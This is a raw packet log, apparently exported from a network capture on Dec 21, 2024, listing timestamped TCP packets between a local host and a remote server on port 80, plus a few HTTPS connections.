                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.177818060 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.177875996 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.178937912 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.178991079 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.178997040 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.179044008 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.179959059 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.180016994 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.180083036 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.180140018 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.181123972 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.181175947 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.181260109 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.181314945 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.182411909 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.182445049 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.182502031 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.183536053 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.183571100 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.183592081 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.183626890 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.184607029 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.184663057 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.184726954 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.184782982 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.185854912 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.185956001 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.186075926 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.186129093 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.186877966 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.186935902 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.186996937 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.187043905 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.188034058 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.188088894 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.188137054 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.188191891 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.189106941 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.189162970 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.189246893 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.189302921 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.190270901 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.190325975 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.190390110 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.190438032 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.191400051 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.191457033 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.191520929 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.191570044 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.192694902 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.192728996 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.192750931 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.192780972 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.193830967 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.193890095 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.193928957 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.193983078 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.213254929 CET44349852172.217.17.46192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.213337898 CET49852443192.168.2.4172.217.17.46
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.213423014 CET49852443192.168.2.4172.217.17.46
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.213485003 CET44349852172.217.17.46192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.213537931 CET49852443192.168.2.4172.217.17.46
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.215986967 CET49862443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.216028929 CET44349862172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.216093063 CET49862443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.216279030 CET49862443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.216294050 CET44349862172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.306849003 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.306890011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.306976080 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.307384014 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.307437897 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.307446957 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.307492018 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.308146954 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.308207035 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.308247089 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.308300972 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.309253931 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.309322119 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.309343100 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.309401035 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.330620050 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.330692053 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.330828905 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.330890894 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.331013918 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.331065893 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.331165075 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.331221104 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.332201004 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.332262039 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.332269907 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.332324982 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.333365917 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.333425999 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.333508968 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.333565950 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.334342003 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.334378004 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.334398031 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.334427118 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.335496902 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.335550070 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.335552931 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.335603952 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.336601019 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.336658955 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.336802959 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.336859941 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.337738037 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.337795973 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.337877989 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.337933064 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.338896990 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.338957071 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.338999987 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.339059114 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.340070963 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.340131044 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.340226889 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.340282917 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.341299057 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.341351986 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.341377020 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.341401100 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.342387915 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.342459917 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.342478991 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.342535973 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.343494892 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.343554974 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.343580961 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.343633890 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.344630003 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.344683886 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.344779015 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.344837904 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.345766068 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.345825911 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.345921993 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.345978022 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.346985102 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.347043037 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.347126961 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.347187996 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.348099947 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.348159075 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.348242998 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.348297119 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.349248886 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.349283934 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.349303007 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.349334955 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.350405931 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.350456953 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.350472927 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.350507975 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.351586103 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.351692915 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.351705074 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.351766109 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.352709055 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.352766991 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.352861881 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.352916956 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.353990078 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.354048014 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.354098082 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.354170084 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.355006933 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.355063915 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.355137110 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.355195045 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.356133938 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.356192112 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.356229067 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.356286049 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.357255936 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.357316971 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.357376099 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.357430935 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.358443975 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.358501911 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.358584881 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.358640909 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.359570980 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.359642029 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.359680891 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.359736919 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.360742092 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.360793114 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.360831022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.360888004 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.361893892 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.361995935 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.362071037 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.362225056 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.363085985 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.363151073 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.363218069 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.363292933 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.364388943 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.364447117 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.364521027 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.364634991 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.365360975 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.365423918 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.365458012 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.365511894 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.366538048 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.366594076 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.366691113 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.366744995 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.367647886 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.367702007 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.367769957 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.367826939 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.368819952 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.368879080 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.368913889 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.368972063 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.369941950 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.370006084 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.370047092 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.370126963 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.371073008 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.371128082 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.371182919 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.371234894 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.372378111 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.372421026 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.372453928 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.372484922 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.373517036 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.373550892 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.373577118 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.373606920 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.374574900 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.374634981 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.374691963 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.374766111 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.375650883 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.375709057 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.375786066 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.375844955 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.376986980 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.377021074 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.377043009 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.377065897 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.377950907 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.378010988 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.378093958 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.378153086 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.379121065 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.379179001 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.379203081 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.379276991 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.380258083 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.380319118 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.380441904 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.380510092 CET4985080192.168.2.431.41.244.11
